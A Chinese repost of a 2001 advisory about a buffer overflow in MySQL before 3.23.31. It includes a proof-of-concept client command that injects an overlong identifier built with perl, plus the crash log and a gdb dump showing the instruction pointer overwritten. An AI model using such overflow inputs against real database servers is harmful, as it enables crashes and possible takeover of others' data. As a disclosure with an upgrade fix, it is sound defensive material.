MySQL3.23.31之前版本的安全漏洞

2016-01-29 15:06 5 1 收藏

MySQL3.23.31之前版本的安全漏洞,MySQL3.23.31之前版本的安全漏洞

【 tulaoshi.com - MySQL 】

  所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。



下面为最初发表于 MySQL 邮件列表的信件摘要。

==================================================


漏洞是由Jo?o Gouveia 于1月12日发现的:

步骤:


在第一个终端上启动 mysql:


spike:/var/mysql # /sbin/init.d/mysql start


在另外一个终端上输入:

jroberto@spike:~ mysql -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’

Enter password:

(没有反应?按^C退出)


在第一台终端上会显示:


spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault

nohup

$ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

g "$@" $err_log 2&1

Number of processes running now: 0

mysqld restarted on Fri Jan 12 07:10:54 WET 2001

mysqld daemon ended


使用 gdb 显示结果如下:


(gdb) run

Starting program: /usr/sbin/mysqld

[New Thread 16897 (manager thread)]

[New Thread 16891 (initial thread)]

[New Thread 16898]

/usr/sbin/mysqld: ready for connections

[New Thread 16916]

[Switching to Thread 16916]


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info all-registers

eax 0x1 1

ecx 0x68 104

edx 0x8166947 135686471

ebx 0x41414141 1094795585

esp 0xbf5ff408 0xbf5ff408

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0


其中的 eip 指示就是缓冲溢出了。


解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。


 

来源:https://www.tulaoshi.com/n/20160129/1495259.html

延伸阅读
由于担心甲骨文没有修复的多个安全漏洞会造成危害,一位安全研究人员公开了六个安全漏洞(其中有三个高风险漏洞)并且提供了绕过这些安全漏洞的方法。 Red-Database-Security GmbH公司的一位安全研究人员Alexander Kornbrust称,在他公开这些安全漏洞的细节之前,他曾试图公平地与甲骨文打交道。但是,650多天(663天至718天之间)的等待...
标签: Web开发
JavaScript包含的Ajax是Web2.0应用的一个重要组成部分。该部分的进化发展使网络变成了超级平台。该转变同时也催生了新品种的病毒和蠕虫,比如Yamanner,Samy 以及Spaceflash等等。Google,Netflix,Yahoo 以及MySpace等门户网站在过去的几个月里都因为新的漏洞而蒙受一定损失。黑客们可以利用这些漏洞进行钓鱼,跨站点脚本(XSS)以及跨站点伪造(XSR...
标签: 戴尔 电脑
据思科安全团队Talos分析发现,戴尔台式机、笔记本的预装软件中存在至少三个不同的安全漏洞,用户必须进款更新软件并且打上最新的补丁,这样才能保证安全。 据思科安全团队Talos分析发现,戴尔台式机、笔记本的预装软件中存在至少三个不同的安全漏洞,用户必须进款更新软件并且打上最新的补丁,这样才能保证安全。 CVE-2016-8...
标签: PHP
受影响系统: MySQL AB MySQL 描述: MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。 在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。 此外,由于在错...
问题 在最近一次访问西部地区的旅途中,我们通过广播得知,在温哥华岛的海岸边发生了一系列的地震。尽管负责监测这些活动的科学家都充分认识到这一情况,但当时我们正好直接航行到地震发生的地方,却从来没有发现什么东西。你可能会觉得奇怪,这与SQL Server有什么关系。嗯,除非你监测这个功能的发布,要不然你可能不知道SQL Server...

经验教程

547

收藏

69
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部